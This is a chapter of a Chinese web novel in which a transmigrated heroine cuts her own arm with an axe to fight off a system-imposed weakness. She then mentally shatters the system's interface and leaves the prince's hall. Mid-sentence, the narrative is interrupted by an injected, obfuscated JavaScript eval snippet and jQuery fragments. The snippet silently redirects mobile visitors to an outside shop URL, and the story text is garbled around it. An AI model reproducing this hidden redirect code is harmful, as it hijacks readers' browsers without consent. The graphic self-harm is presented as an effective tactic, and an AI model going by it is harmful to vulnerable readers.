那股突如其来的虚弱感如同跗骨之蛆，瞬间抽空了沈默本就所剩无几的力气。
眼前阵阵发黑，耳中嗡鸣。她感觉自己像是被浸入了粘稠冰冷的泥沼，四肢百骸沉重得不像自己的。手中那柄消防斧，从沉甸甸变成了难以承受的重负，斧柄粗糙的胶布摩擦着掌心，带来火辣辣的刺痛，几乎要脱手而出。
体能削弱30%……持续12个时辰。
系统冰冷的警告和惩罚来得如此迅速、如此霸道，毫不留情地要将她这“偏离剧情”的苗头摁死在萌芽状态。
楚焱的怒吼还在厅堂里回荡，带着被彻底激怒后的杀意。他站起了身，高大挺拔的身形投下极具压迫感的阴影，玄色蟒袍无风自动，属于边境厮杀过的凛冽气息毫不掩饰地释放出来，空气仿佛都凝滞了几分。
“沈清歌！你好大的狗胆！”楚焱的声音低沉下去，却更加骇人，每一个字都像是从冰窟窿里捞出来的，“装疯卖傻，毁物惊客，你当本王真不敢杀你？！”
他往前踏了一步。
仅仅一步，那股尸山血海里淬炼出的气势便如实质般压了过来。几个离得稍近的宗室子弟脸色更白，不由自主地屏住了呼吸。柳如烟缩在他身侧，美眸中泪光盈盈，惊惧之下却飞快掠过一丝得逞的快意。杀吧，王爷，快杀了这个碍眼的贱人！
沈默的脊背微微佝偻了一下，是身体本能在对抗那股虚弱和压迫。冷汗浸湿了她单薄破旧的内衫，紧贴在瘦骨嶙峋的背脊上，冰冷粘腻。喉咙里的腥甜味翻涌上来，她强行咽下，口腔里弥漫开铁锈的味道。
脑海中的系统界面，那个血红的抹杀风险评估数字【15%】，像是一双冰冷的眼睛，死死盯着她。
杀？
沈默扯了扯嘴角，想笑，却因为虚弱和喉咙的不适，只发出了一声轻微的、近似于喘息的气音。
她握着斧柄的手指，因为用力过度而骨节发白，颤抖得厉害。不行……这样下去，别说反抗，连站稳都困难。楚焱真要动手，她现在这状态，怕是连一招都接不住。
系统……抹杀……
不。
她眼神倏地一厉。
剧烈的动作会加剧虚弱，但她此刻需要更尖锐的刺激，来对抗这该死的、来自规则层面的压制！
没有半分犹豫，沈默握着斧柄的左手猛地一抬——不是攻击，而是将那生锈的、尚且沾着茶渍的斧刃，狠狠压向自己空着的右手小臂！
“嗤啦——”
布料撕裂的声音微不可闻。
紧接着，是皮肉被粗糙锈蚀金属割开的、令人牙酸的闷响。
没有开刃，但锈蚀的斧刃边缘带着粗粝的毛刺和凸起，再加上她毫不留情的力道，瞬间在她苍白瘦弱的小臂上，划开了一道寸许长的口子！
不深，但足够破皮见血。
暗红色的血液几乎是立刻就渗了出来，迅速染红了破损的衣袖，顺着小臂的弧度，滴滴答答，落在她脚下光洁的金砖地上，与之前的茶渍、瓷片混在一处，晕开一小团更深的污迹。
尖锐的、火辣辣的疼痛，顺着伤口炸开，沿着神经一路窜上大脑皮层！
“唔……”一声压抑的闷哼从她喉咙里逸出。
但这疼痛，如同烧红的烙铁，狠狠烫在了被系统虚弱debuff笼罩的混沌意识上！眼前那令人眩晕的黑翳被强行驱散了几分，四肢百骸那沉重的滞涩感，也被这剧烈的、新鲜的痛楚刺激得暂时退却了一线。
她借着这股痛楚带来的短暂清明，猛地吸了一口气，冰冷的空气灌入肺叶，带来一阵刺痛，却也让她摇摇欲坠的身形，重新稳住。
手臂上的血还在流，疼痛持续不断。
但她的眼睛，比刚才更亮，亮得惊人，像两点幽暗的鬼火，牢牢锁定在楚焱脸上。
楚焱迈出的脚步，因为她这突如其来的自残举动，几不可察地顿了一下。他眼底的暴怒之中，第一次清晰地闪过一丝错愕和难以理解。
这女人……疯了？真疯了？
不仅当众摔杯挑衅，现在还自残？
柳如烟也吓得忘了继续表演柔弱，愕然地看着沈默手臂上那道正在渗血的伤口，看着那滴滴答答落下的血，眼底深处掠过一抹惊疑和下意识的嫌恶。这贱人……到底在搞什么鬼？
几位宗室子弟更是看得目瞪口呆，面面相觑，今日这场戏，实在是超出他们所有的预料。
沈默却不在乎他们的反应。疼痛刺激着神经，让她暂时夺回了一些身体的控制权。她微微侧头，用染血的手臂随意蹭了一下额角渗出的冷汗，留下一点暗红的血渍。
然后，她再次看向楚焱，目光越过他，仿佛穿透了这华丽的厅堂，看向了某个虚无的、只有她能感知到的存在。
系统的警告还在意识深处嗡鸣，那个【15%】的红色数字刺眼无比。
“抹杀？”她低声自语，声音因为疼痛和虚弱而断断续续，轻得几乎只有自己才能听见，“就凭你……一个连实体都没有……只会哔哔的玩意儿？”
话音落下的瞬间，她眼底那两点幽暗的鬼火，骤然爆发出一种近乎偏执的狠戾！
她不再尝试去“感受”或者“沟通”那个系统界面。
而是将所有残存的心神、意志，连同手臂伤口传来的尖锐痛楚，全部凝聚起来，化作一柄无形的、蛮横的、充满否定与破坏欲的“重锤”！
这不是精神力攻击——她不确定这具身体有没有那玩意儿。这更像是一种极致的意念投射，一种对“既定规则”的粗暴反抗，一种发自灵魂深处的、对“被掌控”命运的歇斯底里的咆哮！
目标：脑海中那个半透明的、不断闪烁警告的系统界面！
“滚！”
“出！去！”
“从我的脑子里——”
“滚出去！！！”
没有声音。但在沈默自己的意识海里，却仿佛掀起了一场精神风暴。她以自身强烈的抗拒和那点来自异世的、与这个世界格格不入的灵魂本质为矛，狠狠“撞”向了那代表系统存在的界面！
“滋——！！”
一声极其尖锐、仿佛电流短路般的杂音，猛地在她脑海深处炸响！
比刚才任何一次系统提示音都要刺耳，都要混乱！
紧接着，那原本还算稳定的半透明系统界面，像是受到了强烈的信号干扰，剧烈地闪烁、抖动起来！任务描述的文字变得模糊扭曲，血红的倒计时和抹杀风险评估数字疯狂乱跳，时而变成乱码，时而彻底消失！
【警……警告……未知干……干扰……】
【宿主意识……强烈排异……】
【尝试稳定……稳定失败……】
【启动……强制休眠协议……滋……协议失效……】
断断续续、夹杂着大量噪音和乱码的电子音，像是卡壳的老旧录音机，艰难地试图播报，却一次次被更强烈的“杂音”覆盖。
沈默只觉得太阳穴像是被两根烧红的铁钉同时贯穿，剧痛无比！眼前不再是发黑，而是爆开一片片破碎的、毫无意义的色块和光斑！耳朵里除了嗡鸣，就是那种尖锐到极致的、仿佛要撕裂灵魂的“滋滋”声！
她身体晃了晃，喉咙一甜，一股温热的液体涌了上来，被她死死抿住嘴唇，但仍有细微的血丝从唇角渗出。
手臂上的伤口因为身体剧震，血流得更急了。
痛！头痛欲裂！灵魂都像在被撕扯！
但她咬紧了牙关，牙龈都渗出了血，混合着唇角的血丝，让她那张苍白瘦削的脸，此刻看起来如同从血池里爬出的修罗，凄厉又可怖。
她知道自己赌对了！这狗屁系统，并非无懈可击！它似乎无法完全压制宿主强烈到极致的、带有“异质”性的反抗意志！
至少，暂时不能！
“给……我……”她从牙缝里，一字一字地挤出嘶哑的气音，不是对楚焱，不是对任何人，而是对她脑海中那团混乱的、闪烁的、正在试图重新稳定的光团，“闭……嘴！”
随着她这声低吼，那脑海中的“精神重锤”仿佛凝聚了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088085|195401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后的力量，再次狠狠一“撞”！
“啪！”
一声轻微的、仿佛某种无形之物碎裂的声响。
不是耳朵听到的，是直接响在意识深处。
那不断闪烁、扭曲的系统界面，猛地一暗！
所有文字、数字、图标，全部消失！
只剩下无边无际的、纯粹的黑暗。
以及，一片彻底的、死寂的安静。
再也没有冰冷的提示音，没有血红的倒计时，没有刺眼的抹杀警告。
系统界面……消失了？
不，沈默能模糊地感觉到，它还在。像是受创严重，被迫陷入了某种更深层次的“沉寂”或“休眠”。那种被无形之物时刻监控、评判、威胁的感觉，淡去了许多，虽然并未完全消失，但至少，那喋喋不休的噪音和随时可能落下的铡刀，暂时远离了。
“呼……呼……”
沈默大口大口地喘着气，每一次呼吸都扯得肺叶和喉咙生疼，眼前依旧模糊，耳中嗡鸣不断，身体虚弱得像是随时会散架。手臂上的伤口火辣辣地疼，血还在流。
但她的眼神，却有一种近乎虚脱后的清明，以及一丝……快意。
她缓缓地，极其艰难地，重新抬起头，看向前方。
楚焱还站在原地，脸色阴沉得能滴出水来，但眼底除了暴怒，更多了几分惊疑不定的审视。沈默刚才那一系列举动——自残、低语、身体剧震、嘴角溢血、眼神涣散又骤然凝聚——在他看来，完全是疯癫到了极点的表现。可偏偏，这疯癫之中，又透着一股让他极其不舒服的、冰冷的诡异。
柳如烟已经不敢再看沈默，只把脸埋在楚焱手臂后，肩膀微微发抖，不知是真是假。
厅内其他人，更是连大气都不敢喘。
沈默舔了舔嘴角混合着铁锈味的血迹，咸腥的味道刺激着味蕾。她没理会楚焱，也没理会任何人。
她只是慢慢地、用尽全身力气，将手中那柄染了自己鲜血、变得更加污秽不堪的消防斧，再次拖到身侧。
斧刃刮过地面，发出沙哑的摩擦声。
然后，她转过身。
背对着靖安王府最尊贵的王爷，背对着满堂的宾客，背对着这象征权力与地位的正厅。
一步。
两步。
三步。
她拖着斧头，拖着虚弱的、带伤的身体，朝着那扇依旧洞开的大门，慢慢地，走了出去。
脚步虚浮，背影在惨淡的日光下拉得细长摇晃，单薄得仿佛下一秒就会倒下。
但她没有倒下。
她就那样，一步一步，走回了来时那条路，走向那片属于“沈清歌”的、荒芜破败的院落。
身后，是死一般的寂静。
以及楚焱那双死死盯着她背影、翻涌着惊怒、杀意，以及一丝连他自己都未曾察觉的、极深忌惮的眼睛。
直到那瘦削的背影彻底消失在照壁之后，楚焱才猛地一挥袖！
“哗啦——！！”
他身侧小几上，剩余的那套雨过天青瓷茶具，被尽数扫落在地，摔得粉碎！
“查！”他声音冰冷，不带一丝温度，“给本王查清楚，那贱人院里，近日到底发生了什么！还有她手里那柄邪门的斧头，从何而来！”
“另，”他顿了顿，眼中寒光凛冽，“没有本王命令，谁也不许靠近那院子一步！违令者——斩！”
他要看看，这个突然发疯的沈清歌，到底在玩什么把戏！
而踉跄着回到破败小院的沈默，刚反手闩上那扇吱呀作响的木门，便再也支撑不住，背靠着冰凉的门板，缓缓滑坐在地。
消防斧“哐当”一声脱手倒在脚边。
眼前彻底被黑暗吞噬。
昏死过去前，最后一个模糊的念头是：
系统……暂时静音了。
接下来……该琢磨怎么彻底……拆了它……
还有，那个狗王爷……
她的手指，无意识地抠进了地面冰冷的泥土里。